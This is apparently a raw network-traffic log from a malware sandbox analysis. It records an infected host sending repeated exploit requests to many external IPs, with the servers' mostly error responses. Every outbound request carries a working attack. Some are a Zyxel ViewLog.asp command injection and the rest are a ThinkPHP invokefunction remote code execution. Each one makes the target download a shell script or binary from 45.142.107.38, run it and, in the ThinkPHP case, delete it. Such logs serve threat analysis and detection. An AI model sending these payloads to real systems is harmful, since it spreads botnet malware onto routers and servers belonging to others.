Mar 4, 2024 15:06:03.895107031 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:26.679092884 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:09.687115908 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.13	32934	88.221.168.146	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:42.687869072 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:42.856450081 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:05:42 GMT Date: Mon, 04 Mar 2024 14:05:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 38 66 30 31 30 30 32 26 23 34 36 3b 31 37 30 39 35 36 31 31 34 32 26 23 34 36 3b 33 35 63 33 34 34 38 65 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.58f01002.1709561142.35c3448e</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.13	48694	88.198.80.29	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:42.693943977 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:42.868711948 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:05:42 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.13	51764	88.200.23.98	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:42.704672098 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:42.893708944 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.13	56190	31.136.17.138	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:42.814702988 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:43.351133108 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:44.439173937 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:46.743201971 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:51.095165968 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:59.799247026 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:18.487201929 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:53.303067923 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.13	51316	62.29.108.237	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:42.854931116 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.13	55310	95.129.205.81	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:42.895003080 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:43.086731911 CET	364	IN	HTTP/1.1 505 HTTP Version not supported Content-Type: text/html; charset=utf-8 Content-Length: 140 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>505 HTTP Version not supported</title></head><body><center><h1>505 HTTP Version not supported</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.13	54126	95.100.42.47	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:43.070267916 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:43.283966064 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:05:43 GMT Date: Mon, 04 Mar 2024 14:05:43 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 64 31 64 64 35 31 37 26 23 34 36 3b 31 37 30 39 35 36 31 31 34 33 26 23 34 36 3b 31 31 35 38 34 33 32 34 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.6d1dd517.1709561143.11584324</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.13	46380	95.100.41.218	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:43.070348024 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:43.284123898 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:05:43 GMT Date: Mon, 04 Mar 2024 14:05:43 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 39 31 64 64 35 31 37 26 23 34 36 3b 31 37 30 39 35 36 31 31 34 33 26 23 34 36 3b 34 66 32 35 64 62 63 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.691dd517.1709561143.4f25dbc2</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.13	54604	95.31.35.106	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:43.108519077 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:43.360003948 CET	317	IN	HTTP/1.1 400 Bad Request Server: Web server Date: Mon, 04 Mar 2024 14:05:31 GMT Content-Type: text/html Content-Length: 155 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.13	35590	94.66.77.187	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:44.863204002 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.13	40830	85.208.22.219	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:45.050462008 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:46.370743990 CET	1286	IN	HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 X-AREQUESTID: 845x130274x1 X-ASEN: SEN-5432835 Set-Cookie: atlassian.xsrf.token=BIHT-ZB1L-VACQ-AATO\|a6b3f39301367c6477984e6971345c0e2974a6c9\|lout; Path=/ X-AUSERNAME: anonymous X-Content-Type-Options: nosniff Set-Cookie: JSESSIONID=E4152EFA6525594A4CA826054DE617D1; Path=/; HttpOnly Content-Encoding: gzip Vary: User-Agent Content-Type: text/html;charset=UTF-8 Content-Length: 955 Date: Mon, 04 Mar 2024 14:05:46 GMT Data Raw: 1f 8b 08 00 00 00 00 00 00 00 ad 56 dd 6e db 36 14 be f7 53 30 ca 85 5b 6c 94 6c d7 09 e6 4c 12 10 64 01 ea 02 6d 83 6e 03 36 14 bd 38 96 8e 6c a6 12 a9 91 94 5d 5f ec 61 f6 2c 7b b1 1d 8a b4 e3 64 8e 3b 0c d5 85 2c 8a e7 e7 3b df f9 0e e5 f4 ec a7 f7 37 bf fc 7e 77 cb 56 b6 a9 f3 d4 dd 59 0d 72 99 45 28 23 5a 23 94 79 da a0 05 56 ac 40 1b b4 59 d4 d9 8a ff 10 85 b7 2b 6b 5b 8e 7f 74 62 9d 45 bf f1 5f af f9 8d 6a 5a b0 62 51 63 c4 0a 25 2d 4a 72 99 df 66 58 2e 91 9c ac b0 35 e6 ef 55 6b be 67 28 9d 81 06 63 91 75 92 d5 42 7e 66 4d 87 da aa 98 71 f6 66 fe e1 3a 4d bc 7d 6a 0a 2d 5a cb ec b6 c5 2c b2 f8 c5 26 f7 b0 06 ff 36 ca fb 3c 5f ec 1d d8 15 cb 58 14 fd 98 26 7e 2b 4f fb a0 bd db b0 77 2b 8c 19 32 8d 75 36 34 76 5b a3 59 21 da 21 5b 69 ac b2 61 62 2c 21 2f 38 18 aa d3 24 ae be 9a 43 5d c7 bd 53 83 a5 80 6c 48 eb e1 1e 8f d1 c5 09 b7 7b 43 96 7b 24 67 9c 7f 14 15 ab 2d 9b df b2 d9 a7 6f 03 8d 0b fc 9f e8 9c e7 13 80 1f 51 96 a2 fa c4 f9 1e ec b7 45 3a 3b 02 f5 30 69 2f 28 09 0d b5 b8 c4 42 69 b0 4a 1f 88 48 2a 49 9a 4a 08 b1 57 e5 42 95 5b 56 d4 94 28 8b 18 6a ad 34 6f 61 89 fe 71 3a 9a 46 5f 93 4d a9 8a ae a1 d0 b1 8b 14 f7 91 de 51 76 f6 1d 69 88 dd 1b 8e 12 48 c6 e5 a1 9c 4a b1 66 a2 cc 22 97 28 8c 07 ea fe 8d 7f 8c 98 56 35 e5 5a 80 94 b4 0a 58 51 f7 8c b2 f3 60 ef 8a 35 58 58 a1 64 ef 1b 4a dc 39 37 20 dc ec b9 5c a1 3c e8 44 5f 1b dd 24 d6 a7 f6 b8 08 89 77 f1 8f 5b 85 8c ac 56 1b d4 37 21 fd 43 79 9e 4d d7 49 57 a5 21 9f 5d 1c bf e3 08 75 c5 b9 1d 62 61 fc f5 81 26 22 c6 79 da d5 4e 4c f9 3b 58 e3 12 34 03 3a 6a 58 0a 5e 39 d1 43 6b ae 36 42 96 6a 13 af 84 21 09 6c e3 05 14 9f 5f bc 8c f2 f6 ef bf 96 42 02 03 c2 ab 85 d2 69 02 04 82 02 3e 1f 34 21 1e 3a 8d c9 db ed 1b a1 e1 b5 6a 9c ea 5b 88 f2 bb 10 ab 44 36 97 a2 10 ea 21 58 e2 60 26 c4 85 ab d0 d3 e8 fb 17 3f c3 a2 eb a7 b7 3f 66 d5 77 e4 b4 8d df 7d 94 eb fc 30 78 a5 94 0d 3a f3 8f 3b a9 04 23 21 2b f5 ef 9e 7b 53 ee d4 1d e5 83 c1 80 e8 df cb c1 ba 5f 01 92 87 78 f9 80 d1 e5 78 ec 1f dc 75 bd b3 e9 8f 62 47 69 70 36 a8 b8 eb 6d 14 38 76 df 00 73 95 24 9b cd 26 de 07 8e 0b d5 24 46 55 76 03 44 ff 3d 91 4f 9c 6b 75 4f 10 d9 5b 90 54 ba 1b 3d f6 73 b0 70 ec 0f f6 a9 4f 5d cf 1a ed 37 bc 60 1f c8 e2 8b 4e d4 25 77 24 e9 06 1c 43 51 fe 62 7d 19 4f e3 f1 f4 fc 72 3a 9a cc b8 77 e9 3f 36 74 32 e1 e4 e2 b2 c2 51 b5 58 cc c6 93 c9 74 3c 9d 8d aa 6a 5c 60 51 2d 5e 4d 5e 21 8c 66 a3 Data Ascii: Vn6S0[llLdmn68l]_a,{d;,;7~wVYrE(#Z#yV@Y+k[tbE_jZbQc%-JrfX.5Ukg(cuB~fMqf:M}j-Z,&6<_X&~+Ow+2u64v[Y!![iab,!/8$C]SlH{C{$g-oQE:;0i/(BiJH*IJWB[V(j4oaq:F_MQviHJf"(V5ZXQ`5XXdJ97 \<D_$w[V7!CyMIW!]uba&"yNL;X4:jX^9Ck6Bj!l_Bi>4!:j[D6!X`&??fw}0x:;#!+{S_xxubGip6m8vs$&$FUvD=OkuO[T=spO]7`N%w$CQb}Or:w?6t2QXt<j\`Q-^M^!f

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.13	55164	94.120.255.129	8080

Timestamp	Bytes transferred	Direction	Data
